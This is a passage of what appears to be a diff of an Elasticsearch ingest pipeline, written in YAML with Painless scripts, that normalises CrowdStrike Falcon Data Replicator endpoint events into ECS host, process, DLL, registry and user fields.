https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-aws-s3#_document_id_generation - - remove: - description: When data deduplication is disabled, even the _id-Based Deduplication needs to be removed. - tag: remove_id_based_deduplication_fd096d6e - if: ctx._conf?.enable_deduplication == false - field: - - _id - ignore_missing: true - - - script: - tag: script_data_type_89bd92f4 - if: ctx.log?.file?.path != null && ctx.log.file.path != '' - source: |- - int lastSlash = ctx.log.file.path.lastIndexOf("/"); - if (lastSlash == -1) { - return; - } - ctx._temp = ctx._temp ?: [:]; - ctx._temp.type = ctx.log.file.path.substring(lastSlash + 1); - // aidmaster and userinfo are bucket keys we depend on, the data - // path suffix is tested, but not depended on. So make sure this - // is present for the fingerprint processor. - if (ctx._temp.type != 'aidmaster' && ctx._temp.type != 'userinfo') { - ctx._temp.type = 'data'; - } - - fingerprint: - description: When deduplication is enabled, fingerprint the a set of crowdstrike fields in attempt to prevent the same event from being indexed more than once. - tag: fingerprint_crowdstrike_fdr_0e5ffd3f - if: ctx._conf?.enable_deduplication == true - fields: - - '@timestamp' - - crowdstrike.id - - crowdstrike.aid - - crowdstrike.cid - - _temp.type - target_field: _id - ignore_missing: true - - # Categorization - - pipeline: - tag: pipeline_categorize_20a0e7f1 - name: '{{ IngestPipeline "categorize" }}' - ignore_missing_pipeline: true - - # Cached event category for category-dependent processors - - set: - tag: set__temp_isFile_1aa6969f - if: ctx.event?.category?.contains('file') == true - field: _temp.isFile - value: true - - set: - tag: set__temp_isLibrary_00bc941b - if: ctx.event?.category?.contains('library') == true - field: _temp.isLibrary - value: true - - set: - tag: set__temp_isNetwork_70f64bff - if: ctx.event?.category?.contains('network') == true - field: _temp.isNetwork - value: true - - set: - tag: set__temp_isProcess_279add73 - if: ctx.event?.category?.contains('process') == true - field: _temp.isProcess - value: true - - set: - tag: set__temp_isDriver_d4311ecf - if: ctx.event?.category?.contains('driver') == true - field: _temp.isDriver - value: true - - # CSPM fields - # Can be both string and int, fields are mapped as keyword. - - convert: - tag: convert_crowdstrike_service_to_string_2a8687e8 - field: crowdstrike.service - type: string - ignore_missing: true - - convert: - tag: convert_crowdstrike_cloudplatform_to_string_1f6df19b - field: crowdstrike.cloudplatform - type: string - ignore_missing: true - - - rename: - description: Rename crowdstrike.resource in case concrete value field is mapped as object. - tag: rename_crowdstrike_resource_to_crowdstrike_resource_name_9899a394 - if: ctx.crowdstrike?.resource instanceof String - field: crowdstrike.resource - target_field: crowdstrike.resource_name - - remove: - tag: remove_cloud_4d018ef3 - field: - - cloud - ignore_missing: true - - - pipeline: - tag: pipeline_cspm_iom_62dcd2f9 - if: (ctx.crowdstrike?.disposition != null && ctx.crowdstrike.disposition.equalsIgnoreCase('Failed')) ||(ctx.crowdstrike?.event_simpleName != null && ctx.crowdstrike.event_simpleName.equalsIgnoreCase('CloudSecurityIOMEvaluation')) - name: '{{ IngestPipeline "cspm_iom" }}' - - pipeline: - tag: pipeline_cspm_ioa_8a985b05 - if: ctx.crowdstrike?.vertex_type != null && ctx.crowdstrike.vertex_type.equalsIgnoreCase('ioa') - name: '{{ IngestPipeline "cspm_ioa" }}' - - # Event fields. - - set: - description: Concat the fields used in fingerprint. - tag: set_event_id_af6d60ca - if: ctx.crowdstrike?.id != null || ctx.crowdstrike?.aid != null || ctx.crowdstrike?.cid != null - field: event.id - value: '{{{#crowdstrike.id}}}{{{ crowdstrike.id }}}{{{/crowdstrike.id}}}|{{{#crowdstrike.aid}}}{{{ crowdstrike.aid }}}{{{/crowdstrike.aid}}}|{{{#crowdstrike.cid}}}{{{ crowdstrike.cid }}}{{{/crowdstrike.cid}}}' - override: false - - set: - tag: construct_message_from_event_simpleName_649b7fba - field: message - copy_from: crowdstrike.event_simpleName - override: false - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_event_simpleName_to_event_action_0069f759 - field: crowdstrike.event_simpleName - target_field: event.action - ignore_missing: true - - rename: - tag: rename_crowdstrike_SuspiciousHandleOpenReason_to_event_reason_d2830844 - field: crowdstrike.SuspiciousHandleOpenReason - target_field: event.reason - ignore_missing: true - - # Prepare data. - - script: - description: Convert all count fields to number. - tag: convert_count_fields_to_long_e5775223 - source: |- - for (entry in ctx.crowdstrike.entrySet()) { - def key = entry.getKey().toString(); - if (key.contains("Count") || key.contains("Port")) { - try { - ctx.crowdstrike[key] = Long.parseLong(entry.getValue().toString()); - } catch (Exception e) { - } - } - } - - script: - description: Remove all 0's hashes. - tag: remove_empty_hashes_fdda7066 - params: - MD5HashData: md5 - SHA1HashData: sha1 - SHA256HashData: sha256 - source: |- - def hashIsEmpty(String hash) { - if (hash == null || hash == "") { - return true; - } - - Pattern emptyHashRegex = /^0*$/; - def matcher = emptyHashRegex.matcher(hash); - - return matcher.matches(); - } - - def hashes = new HashMap(); - def related = [ - "hash": new ArrayList() - ]; - for (entry in params.entrySet()) { - def key = entry.getKey().toString(); - def value = ctx.crowdstrike[key]; - if (hashIsEmpty(value)) { - ctx.crowdstrike.remove(key); - continue; - } - - hashes[entry.getValue().toString()] = value; - related.hash.add(value); - } - - ctx._temp = ctx._temp ?: [:]; - ctx._temp.hashes = hashes; - if (related.hash.length > 0) { - ctx.related = related; - } - - # Observer fields. - - set: - tag: set_observer_serial_number_f13cfca6 - field: observer.serial_number - copy_from: crowdstrike.aid - ignore_empty_value: true - - split: - tag: split_crowdstrike_aip_f0e4d8b4 - field: crowdstrike.aip - separator: \s+ - ignore_missing: true - - convert: - tag: convert_crowdstrike_aip_to_ip_c775b545 - field: crowdstrike.aip - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_aip_253407ba - field: - - crowdstrike.aip - - rename: - tag: rename_crowdstrike_aip_to_observer_ip_db4efb0d - field: crowdstrike.aip - target_field: observer.ip - ignore_missing: true - ignore_failure: true - - set: - tag: set_observer_address_7e682298 - field: observer.address - copy_from: observer.ip - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_AgentVersion_to_observer_version_8a83774d - field: crowdstrike.AgentVersion - target_field: observer.version - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_ConfigBuild_to_observer_version_05f8908e - field: crowdstrike.ConfigBuild - target_field: observer.version - ignore_missing: true - ignore_failure: true - - foreach: - tag: foreach_of_observer_ip_e78425f7 - if: ctx.observer?.ip != null && ctx.observer.ip instanceof List - field: observer.ip - processor: - append: - tag: append_related_ip_e9bcb8d0 - field: related.ip - value: '{{{_ingest._value}}}' - allow_duplicates: false - - # Host fields. - - rename: - tag: rename_crowdstrike_aid_to_host_id_c2222a0d - field: crowdstrike.aid - target_field: host.id - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_ComputerName_to_host_hostname_0ec8d515 - field: crowdstrike.ComputerName - target_field: host.hostname - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_hostname_to_host_hostname_f0f6daca - field: crowdstrike.hostname - target_field: host.hostname - ignore_missing: true - ignore_failure: true - - set: - tag: set_host_name_e6f31488 - field: host.name - copy_from: host.hostname - ignore_empty_value: true - ignore_failure: true - - append: - tag: append_related_hosts_369b21b5 - if: ctx.crowdstrike?.info?.host?.ComputerName != null - field: related.hosts - value: '{{{crowdstrike.info.host.ComputerName}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_info_host_ComputerName_to_host_name_a1ee7f6f - if: ctx.host?.name == null - field: crowdstrike.info.host.ComputerName - target_field: host.name - ignore_missing: true - - append: - tag: append_related_hosts_452ef445 - if: ctx.host?.name != null - field: related.hosts - value: '{{{host.name}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_City_to_host_geo_city_name_bf5d6259 - field: crowdstrike.City - target_field: host.geo.city_name - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_Continent_to_host_geo_continent_name_d0e71561 - field: crowdstrike.Continent - target_field: host.geo.continent_name - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_Country_to_host_geo_country_name_56324ad5 - field: crowdstrike.Country - target_field: host.geo.country_name - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_Timezone_to_host_geo_timezone_b481eccd - field: crowdstrike.Timezone - target_field: host.geo.timezone - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_MachineDomain_to_host_domain_3ab40091 - field: crowdstrike.MachineDomain - target_field: host.domain - ignore_missing: true - ignore_failure: true - - convert: - tag: convert_crowdstrike_info_host_aip_to_ip_into__temp_aip_21b40f31 - if: ctx.crowdstrike?.info?.host?.aip != null && ctx.crowdstrike.info.host.aip != "" - field: crowdstrike.info.host.aip - type: ip - target_field: _temp.aip - ignore_failure: true - - remove: - tag: remove_crowdstrike_info_host_aip_0b8e5e7f - if: ctx._temp?.aip != null - field: - - crowdstrike.info.host.aip - - append: - tag: append_host_ip_1dd81f5c - if: ctx._temp?.aip != null - field: host.ip - value: '{{{_temp.aip}}}' - allow_duplicates: false - - append: - tag: append_related_ip_a3fbf481 - if: ctx._temp?.aip != null - field: related.ip - value: '{{{_temp.aip}}}' - allow_duplicates: false - - # OS fields. - - set: - tag: set_host_os_type_c07526d4 - if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Lin" - field: host.os.type - value: linux - - set: - tag: set_host_os_type_d0c6a731 - if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Mac" - field: host.os.type - value: macos - - set: - tag: set_host_os_type_88679cda - if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Win" - field: host.os.type - value: windows - - set: - tag: set_host_os_type_079f7c73 - if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "iOS" - field: host.os.type - value: ios - - rename: - tag: rename_crowdstrike_OSVersionString_to_host_os_version_c9849d9b - field: crowdstrike.OSVersionString - target_field: host.os.version - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_Version_to_host_os_version_74d23d68 - field: crowdstrike.Version - target_field: host.os.version - ignore_missing: true - ignore_failure: true - - # Service fields. - - set: - tag: set_service_name_e27d7b04 - if: ctx._temp?.isDriver == true - field: service.name - copy_from: crowdstrike.ServiceDisplayName - ignore_empty_value: true - - # Process fields. - - rename: - tag: rename_crowdstrike_CommandLine_to_process_command_line_307047e3 - field: crowdstrike.CommandLine - target_field: process.command_line - ignore_missing: true - - script: - description: Implements Windows-like SplitCommandLine - tag: split_command_line_c3beef26 - if: ctx.process?.command_line != null && ctx.process.command_line != "" && ctx.host?.os?.type != null - source: |- - // appendBSBytes appends n '\\' bytes to b and returns the resulting slice. - def appendBSBytes(StringBuilder b, int n) { - for (; n > 0; n--) { - b.append('\\'); - } - return b; - } - - // readNextArg splits command line string into next - // argument and command line remainder offset. - def readNextArg(String line, int offset) { - def b = new StringBuilder(); - boolean inquote; - int nslash; - for (; offset < line.length(); offset++) { - def c = line.charAt(offset); - if (c == (char)' ' || c == (char)0x09) { - if (!inquote) { - return [ - "arg": appendBSBytes(b, nslash).toString(), - "offset": offset+1 - ]; - } - } else if (c == (char)'"') { - b = appendBSBytes(b, nslash/2); - if (nslash%2 == 0) { - // use "Prior to 2008" rule from - // http://daviddeley.com/autohotkey/parameters/parameters.htm - // section 5.2 to deal with double double quotes - if (inquote && offset+1 < line.length() && line.charAt(offset+1) == (char)'"') { - b.append(c); - offset++; - } - inquote = !inquote; - } else { - b.append(c); - } - nslash = 0; - continue; - } else if (c == (char)'\\') { - nslash++; - continue; - } - b = appendBSBytes(b, nslash); - nslash = 0; - b.append(c); - } - return [ - "arg": appendBSBytes(b, nslash).toString(), - "offset": line.length() - ]; - } - - // commandLineToArgv splits a command line into individual argument - // strings, following the Windows conventions documented - // at http://daviddeley.com/autohotkey/parameters/parameters.htm#WINARGV - // Original implementation found at: https://github.com/golang/go/commit/39c8d2b7faed06b0e91a1ad7906231f53aab45d1 - def commandLineToArgv(String line) { - def args = new ArrayList(); - for (int i = 0; i < line.length();) { - if (line.charAt(i) == (char)' ' || line.charAt(i) == (char)0x09) { - i++; - continue; - } - def next = readNextArg(line, i); - i = next.offset; - if (next.arg == '') { - // Empty strings will be removed later so don't bother adding them. - continue; - } - args.add(next.arg); - } - return args; - } - - ctx.process.args = commandLineToArgv(ctx.process.command_line); - ctx.process.args_count = ctx.process.args.length; - - rename: - tag: rename_crowdstrike_ImageFileName_to_process_executable_1e9d3140 - if: ctx._temp?.isLibrary != true && ctx._temp?.isDriver != true - field: crowdstrike.ImageFileName - target_field: process.executable - ignore_missing: true - - script: - description: Calculate process.name - tag: process_name_7293cfa8 - if: ctx.process?.executable != null && ctx.process.executable != "" - source: |- - def executable = ctx.process.executable; - def exe_arr = []; - def name = executable; - if(executable.substring(0,1) == "\\") { - name = executable.splitOnToken("\\")[-1]; - } else if(executable.substring(0,1) == "/") { - name = executable.splitOnToken("/")[-1]; - } - ctx.process.put("name", name); - - # This handles a special case occurs in Linux-based containerized environments - # when the "runc" process clones itself to get into its own namespace. - # The child process would have its executable path set to "/" - # and consequently, the process name would not be set. - # For more details, see https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2021/12/28/runc-internals-3. - - script: - description: Extract process.name from command line if not already present. - tag: parse_process_name_from_command_line_327152ca - if: |- - ctx.process?.executable == '/' && - (ctx.process.name == null || ctx.process.name == '') && - (ctx.process.args instanceof List && ctx.process.args.length > 0) - source: |- - ctx.process.name = ctx.process.args[0]; - - // Clean up path separators. - int lastSlash = ctx.process.name.lastIndexOf("/"); - if (lastSlash != -1) { - ctx.process.name = ctx.process.name.substring(lastSlash + 1); - } - - convert: - tag: convert_crowdstrike_ExitCode_to_long_b3ece615 - field: crowdstrike.ExitCode - type: long - ignore_missing: true - - rename: - tag: rename_crowdstrike_ExitCode_to_process_exit_code_dd734967 - field: crowdstrike.ExitCode - target_field: process.exit_code - ignore_missing: true - - convert: - tag: convert_crowdstrike_ProcessStartTime_to_string_6339b88d - field: crowdstrike.ProcessStartTime - type: string - ignore_missing: true - - convert: - tag: convert_crowdstrike_ProcessEndTime_to_string_e858845e - field: crowdstrike.ProcessEndTime - type: string - ignore_missing: true - - script: - description: Calculate process.uptime - tag: process_uptime_d1b24ab9 - if: |- - ctx.crowdstrike?.ProcessStartTime != null && ctx.crowdstrike?.ProcessStartTime != "" && - ctx.crowdstrike?.ProcessEndTime != null && ctx.crowdstrike?.ProcessEndTime != "" - source: |- - float s = Float.parseFloat(ctx.crowdstrike?.ProcessStartTime); - float e = Float.parseFloat(ctx.crowdstrike?.ProcessEndTime); - if (e >= s) { - if (ctx.process == null) { - ctx.process = [:]; - } - ctx.process.uptime = (long) ((e-s)/1000L); - } - - script: - description: Parse raw process id's so that they roll over if out of 32-bit range - tag: parse_raw_pids_08a5864a - source: |- - def parsePid(String pid) { - try { - return Long.parseUnsignedLong(pid); - } catch (Exception e) { - return pid; - } - } - if (ctx.crowdstrike?.RawProcessId != null) { - ctx.crowdstrike.RawProcessId = parsePid(ctx.crowdstrike.RawProcessId); - } - if (ctx.crowdstrike?.EtwRawProcessId != null) { - ctx.crowdstrike.EtwRawProcessId = parsePid(ctx.crowdstrike.EtwRawProcessId); - } - - date: - tag: date_process_start_time_a2b0d5f4 - if: ctx.crowdstrike?.ProcessStartTime != null && ctx.crowdstrike.ProcessStartTime != '' && ctx.crowdstrike.ProcessStartTime != 'none' - field: crowdstrike.ProcessStartTime - target_field: crowdstrike.ProcessStartTime - formats: - - UNIX - - rename: - tag: rename_crowdstrike_ProcessStartTime_to_process_start_84d4376c - if: ctx.crowdstrike?.ProcessStartTime != "" - field: crowdstrike.ProcessStartTime - target_field: process.start - ignore_missing: true - - date: - tag: date_process_end_time_160e9fbf - if: ctx.crowdstrike?.ProcessEndTime != null && ctx.crowdstrike.ProcessEndTime != '' && ctx.crowdstrike.ProcessEndTime != 'none' - field: crowdstrike.ProcessEndTime - target_field: crowdstrike.ProcessEndTime - formats: - - UNIX - - rename: - tag: rename_crowdstrike_ProcessEndTime_to_process_end_965ac751 - if: ctx.crowdstrike?.ProcessEndTime != "" - field: crowdstrike.ProcessEndTime - target_field: process.end - ignore_missing: true - - rename: - tag: rename_crowdstrike_RawProcessId_to_process_pid_937882e3 - field: crowdstrike.RawProcessId - target_field: process.pid - ignore_missing: true - - convert: - tag: convert_crowdstrike_TargetProcessId_to_string_d9f8029c - if: ctx.crowdstrike?.TargetProcessId != null && !(ctx.crowdstrike.TargetProcessId instanceof String) - field: crowdstrike.TargetProcessId - type: string - ignore_missing: true - - rename: - tag: rename_crowdstrike_TargetProcessId_to_process_entity_id_9f979af6 - field: crowdstrike.TargetProcessId - target_field: process.entity_id - ignore_missing: true - - convert: - tag: convert_crowdstrike_ParentProcessId_to_string_53eeefcb - if: ctx.crowdstrike?.ParentProcessId != null && !(ctx.crowdstrike.ParentProcessId instanceof String) - field: crowdstrike.ParentProcessId - type: string - ignore_missing: true - - rename: - tag: rename_crowdstrike_ParentProcessId_to_process_parent_entity_id_71941ac7 - field: crowdstrike.ParentProcessId - target_field: process.parent.entity_id - ignore_missing: true - - set: - tag: set_process_name_40e79739 - if: ctx._temp?.isNetwork == true - field: process.name - copy_from: crowdstrike.ContextBaseFileName - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_ParentBaseFileName_to_process_parent_name_759f7011 - field: crowdstrike.ParentBaseFileName - target_field: process.parent.name - ignore_missing: true - - convert: - tag: convert_crowdstrike_ProcessGroupId_to_long_5a3ca809 - field: crowdstrike.ProcessGroupId - type: long - ignore_missing: true - - rename: - tag: rename_crowdstrike_ProcessGroupId_to_process_pgid_8830e8d1 - field: crowdstrike.ProcessGroupId - target_field: process.pgid - ignore_missing: true - - set: - tag: set_process_entity_id_3f15b261 - if: ctx.process?.entity_id == null - field: process.entity_id - copy_from: crowdstrike.ContextProcessId - ignore_empty_value: true - - convert: - tag: convert_crowdstrike_ContextThreadId_to_long_b92c0503 - if: ctx.process?.thread?.id == null - field: crowdstrike.ContextThreadId - type: long - ignore_missing: true - - rename: - tag: rename_crowdstrike_ContextThreadId_to_process_thread_id_55924d4f - if: ctx.process?.thread?.id == null - field: crowdstrike.ContextThreadId - target_field: process.thread.id - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_EtwRawProcessId_to_process_pid_e92b8449 - if: ctx.process?.pid == null - field: crowdstrike.EtwRawProcessId - target_field: process.pid - ignore_missing: true - - convert: - tag: convert_crowdstrike_EtwRawThreadId_to_long_9652eb55 - field: crowdstrike.EtwRawThreadId - type: long - ignore_missing: true - - rename: - tag: rename_crowdstrike_EtwRawThreadId_to_process_thread_id_4bfcaba5 - if: ctx.process?.thread?.id == null - field: crowdstrike.EtwRawThreadId - target_field: process.thread.id - ignore_missing: true - - rename: - tag: rename_crowdstrike_ServiceDisplayName_to_process_title_50009d18 - field: crowdstrike.ServiceDisplayName - target_field: process.title - ignore_missing: true - - rename: - tag: rename__temp_hashes_to_process_hash_cdaa452a - if: |- - ctx.event?.action != null && - (ctx.event.action.contains("Process") || ctx.event.action.contains("Service")) && - ctx._temp?.hashes != null && ctx._temp?.hashes.size() > 0 - field: _temp.hashes - target_field: process.hash - - script: - tag: integrity_level_1169d16e - if: ctx.crowdstrike?.IntegrityLevel != null - params: - levels: - "0": UNTRUSTED - "4096": LOW - "8192": MEDIUM - "8448": MEDIUM_PLUS - "12288": HIGH - "16384": SYSTEM - "20480": PROTECTED - source: |- - String level = params.get('levels')[ctx.crowdstrike.IntegrityLevel]; - if (level != null) { - ctx.process = ctx.process ?: [:]; - ctx.process.Ext = ctx.process.Ext ?: [:]; - ctx.process.Ext.token = ctx.process.Ext.token ?: [:]; - ctx.process.Ext.token.integrity_level_name = level; - } - - set: - tag: set_process_pe_original_file_name_8552e0df - if: ctx._temp?.isProcess == true && ctx.host?.os?.type == 'windows' - field: process.pe.original_file_name - copy_from: crowdstrike.OriginalFilename - ignore_empty_value: true - - convert: - tag: convert_process_pgid_to_string_into_process_group_leader_entity_id_88870118 - if: ctx._temp?.isProcess == true && ctx.host?.os?.type == 'linux' - field: process.pgid - type: string - target_field: process.group_leader.entity_id - ignore_missing: true - - set: - tag: set_process_real_user_id_d36a1e14 - field: process.real_user.id - copy_from: crowdstrike.RUID - ignore_empty_value: true - - set: - tag: set_user_Ext_real_id_4bbeee1a - field: user.Ext.real.id - copy_from: process.real_user.id - ignore_empty_value: true - - set: - tag: set_process_real_group_id_01a52390 - if: ctx.host?.os?.type == 'linux' - field: process.real_group.id - copy_from: crowdstrike.RGID - ignore_empty_value: true - - set: - tag: set_group_Ext_real_id_1ca7802a - field: group.Ext.real.id - copy_from: process.real_group.id - ignore_empty_value: true - - set: - tag: set_process_group_id_69005b41 - if: ctx.host?.os?.type == 'linux' - field: process.group.id - copy_from: crowdstrike.GID - ignore_empty_value: true - - set: - tag: set_group_id_0c978126 - field: group.id - copy_from: process.group.id - ignore_empty_value: true - - # Library fields. - - set: - tag: set_event_action_735cfe72 - if: ctx._temp?.isDriver == true - field: event.action - value: load - - set: - tag: set_dll_pe_original_file_name_7a4c66c0 - if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows' - field: dll.pe.original_file_name - copy_from: crowdstrike.OriginalFilename - ignore_empty_value: true - - rename: - tag: rename_process_name_to_dll_name_9234d620 - if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows' - field: process.name - target_field: dll.name - ignore_missing: true - - rename: - tag: rename_process_executable_to_dll_path_992bcd8f - if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows' - field: process.executable - target_field: dll.path - ignore_missing: true - - rename: - tag: rename_crowdstrike_MD5HashData_to_dll_hash_md5_0d2bcdb4 - if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows' - field: crowdstrike.MD5HashData - target_field: dll.hash.md5 - ignore_missing: true - - rename: - tag: rename_crowdstrike_SHA1HashData_to_dll_hash_sha1_2733445a - if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows' - field: crowdstrike.SHA1HashData - target_field: dll.hash.sha1 - ignore_missing: true - - rename: - tag: rename_crowdstrike_SHA256HashData_to_dll_hash_sha256_aaaae286 - if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows' - field: crowdstrike.SHA256HashData - target_field: dll.hash.sha256 - ignore_missing: true - - convert: - tag: convert_crowdstrike_ModuleSize_to_long_into_dll_Ext_size_42bb289b - if: ctx.crowdstrike?.ModuleSize != '' && ctx.host?.os?.type == 'windows' - field: crowdstrike.ModuleSize - type: long - target_field: dll.Ext.size - ignore_missing: true - ignore_failure: true - - script: - tag: script_set_dll_name_ac696ad2 - if: |- - (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && - ctx.crowdstrike?.ImageFileName != null && - ctx.host?.os?.type == 'windows' - source: |- - int idx = ctx.crowdstrike.ImageFileName.lastIndexOf('\\'); - if (idx >= 0) { - ctx.dll = ctx.dll ?: [:]; - ctx.dll.name = ctx.crowdstrike.ImageFileName.substring(idx+1); - } - ignore_failure: true - - rename: - tag: rename_crowdstrike_ImageFileName_to_dll_path_0ebfe574 - if: |- - (ctx.event?.action == 'ClassifiedModuleLoad' || ctx._temp?.isDriver == true) && - ctx.host?.os?.type == 'windows' - field: crowdstrike.ImageFileName - target_field: dll.path - ignore_missing: true - - script: - tag: script_set_process_name_8064aa04 - if: ctx._temp?.isLibrary == true && ctx.crowdstrike?.TargetImageFileName != null && ctx.host?.os?.type == 'windows' - source: |- - int idx = ctx.crowdstrike.TargetImageFileName.lastIndexOf('\\'); - if (idx >= 0) { - ctx.process = ctx.process ?: [:]; - ctx.process.name = ctx.crowdstrike.TargetImageFileName.substring(idx+1); - } - ignore_failure: true - - rename: - tag: rename_crowdstrike_TargetImageFileName_to_process_executable_8f82dd8a - if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows' - field: crowdstrike.TargetImageFileName - target_field: process.executable - ignore_missing: true - - script: - tag: script_set_process_name_40278491 - if: |- - ctx.event?.action == 'ClassifiedModuleLoad' && - ctx.crowdstrike?.ImageSignatureLevel != null && - ctx.crowdstrike.ImageSignatureLevel != '' && - ctx.crowdstrike?.ImageSignatureType != null && - ctx.crowdstrike.ImageSignatureType != '' - source: |- - long signatureLevel = Long.parseLong(ctx.crowdstrike.ImageSignatureLevel); - long signatureType = Long.parseLong(ctx.crowdstrike.ImageSignatureType); - ctx.dll = ctx.dll ?: [:]; - ctx.dll.code_signature = ctx.dll.code_signature ?: [:]; - if (signatureType == 0) { - ctx.dll.code_signature.exists = false; - ctx.dll.code_signature.trusted = false; - } else if (signatureType >= 1 && (signatureLevel == 0 || signatureLevel == 1)) { - ctx.dll.code_signature.exists = true; - ctx.dll.code_signature.trusted = false; - } else if (signatureType >= 1 && signatureLevel >= 2) { - ctx.dll.code_signature.exists = true; - ctx.dll.code_signature.trusted = true; - } - on_failure: - - append: - tag: append_error_message_db7ae317 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - tag: set_dll_code_signature_subject_name_67c64e63 - if: ctx._temp?.isDriver == true && ctx.host?.os?.type == 'windows' - field: dll.code_signature.subject_name - copy_from: crowdstrike.CertificatePublisher - ignore_empty_value: true - - # Registry fields. - - append: - tag: append_registry_data_strings_d0edbd10 - if: ctx.crowdstrike?.RegStringValue != null && ctx.crowdstrike.RegStringValue != '' - field: registry.data.strings - value: '{{{crowdstrike.RegStringValue}}}' - allow_duplicates: false - - set: - tag: set_registry_path_e6aa2a33 - if: ctx.crowdstrike?.RegObjectName != null && ctx.crowdstrike.RegObjectName != '' && ctx.crowdstrike?.RegValueName != null && ctx.crowdstrike.RegValueName != '' - field: registry.path - value: '{{{crowdstrike.RegObjectName}}}\{{{crowdstrike.RegValueName}}}' - - set: - tag: set_registry_path_49d20af1 - if: ctx.crowdstrike?.RegValueName == null || ctx.crowdstrike.RegValueName == '' - field: registry.path - copy_from: crowdstrike.RegObjectName - ignore_empty_value: true - - set: - tag: set_registry_value_4b43d250 - field: registry.value - copy_from: crowdstrike.RegValueName - ignore_empty_value: true - - gsub: - tag: gsub_crowdstrike_RegObjectName_into_registry_key_5c4a7818 - field: crowdstrike.RegObjectName - target_field: registry.key - pattern: ^\\REGISTRY\\(?:USER|MACHINE)\\ - replacement: "" - ignore_missing: true - ignore_failure: true - - script: - tag: script_set_event_action_and_type_29345ceb - if: ctx.crowdstrike?.RegOperationType != null - params: - op_types: - "1": - action: modification - type: change - "2": - action: deletion - type: deletion - "3": - action: creation - type: creation - "4": - action: deletion - type: deletion - "5": - action: modification - type: change - "6": - action: load - type: info - "7": - action: modification - type: change - "8": - action: open - type: access - "9": - action: query - type: access - source: |- - def op = params.get('op_types')[ctx.crowdstrike.RegOperationType]; - if (op != null) { - ctx.event = ctx.event ?: [:]; - ctx.event.type = []; - ctx.event.type.add(op.type); - ctx.event.action = op.action; - } - - script: - tag: script_set_registry_data_type_e45a255a - if: ctx.crowdstrike?.RegType != null - params: - data_types: - "0": REG_NONE - "1": REG_SZ - "2": REG_EXPAND_SZ - "3": REG_BINARY - "4": REG_DWORD - "5": REG_DWORD_BIG_ENDIAN - "6": REG_LINK - "7": REG_MULTI_SZ - "8": REG_RESOURCE_LIST - "9": REG_FULL_RESOURCE_DESCRIPTOR - "10": REG_RESOURCE_REQUIREMENTS_LIST - "11": REG_QWORD - source: |- - String data_type = params.get('data_types')[ctx.crowdstrike.RegType]; - if (data_type != null) { - ctx.registry = ctx.registry ?: [:]; - ctx.registry.data = ctx.registry.data ?: [:]; - ctx.registry.data.type = data_type; - } - - # User fields. - - rename: - tag: rename_crowdstrike_UID_to_user_id_a7e7d9cf - field: crowdstrike.UID - target_field: user.id - ignore_missing: true - - rename: - tag: rename_crowdstrike_info_user_UserName_to_user_name_cc930c2f - if: ctx.crowdstrike?.info?.user?.UserName != null && ctx.user?.name == null - field: crowdstrike.info.user.UserName - target_field: user.name - ignore_missing: true - - split: - tag: split_crowdstrike_info_user_User_into__temp_info_user_parts_dee4af27 - if: ctx.crowdstrike?.info?.user?.User != null - field: crowdstrike.info.user.User - separator: \\{1,2} - target_field: _temp.info_user_parts - - set: - tag: set_user_domain_6f97903f - if: ctx._temp?.info_user_parts != null && ctx._temp.info_user_parts.size() == 2 - field: user.domain - value: '{{{_temp.info_user_parts.0}}}' - ignore_empty_value: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_info_user_User_to_user_name_6ec3ffdd - if: ctx.crowdstrike?.info?.user?.User != null && ctx.user?.name == null - field: crowdstrike.info.user.User - target_field: user.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_GID_to_user_group_id_5c9b8998 - field: crowdstrike.GID - target_field: user.group.id - ignore_missing: true - - rename: - tag: rename_crowdstrike_UserSid_to_user_id_1cec3193 - if: ctx.user?.id == null || ctx.user.id == "" - field: crowdstrike.UserSid - target_field: user.id - ignore_missing: true - - set: - tag: set_user_id_4f3a664d - if: ctx.user?.id == null && ctx._temp?.isFile == true - field: user.id - copy_from: crowdstrike.FileOperatorSid - ignore_empty_value: true - - append: - tag: append_user_roles_146dad6a - if: ctx.crowdstrike?.UserIsAdmin == "1" - field: user.roles - value: admin - - rename: - tag: rename_crowdstrike_User_Name_to_user_name_a4ea1f62 - if: ctx.crowdstrike?.User instanceof Map && ctx.crowdstrike.User.Name != null && ctx.user?.name == null - field: crowdstrike.User.Name - target_field: user.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_User_ID_to_user_id - if: ctx.crowdstrike?.User instanceof Map && ctx.crowdstrike.User.ID != null && 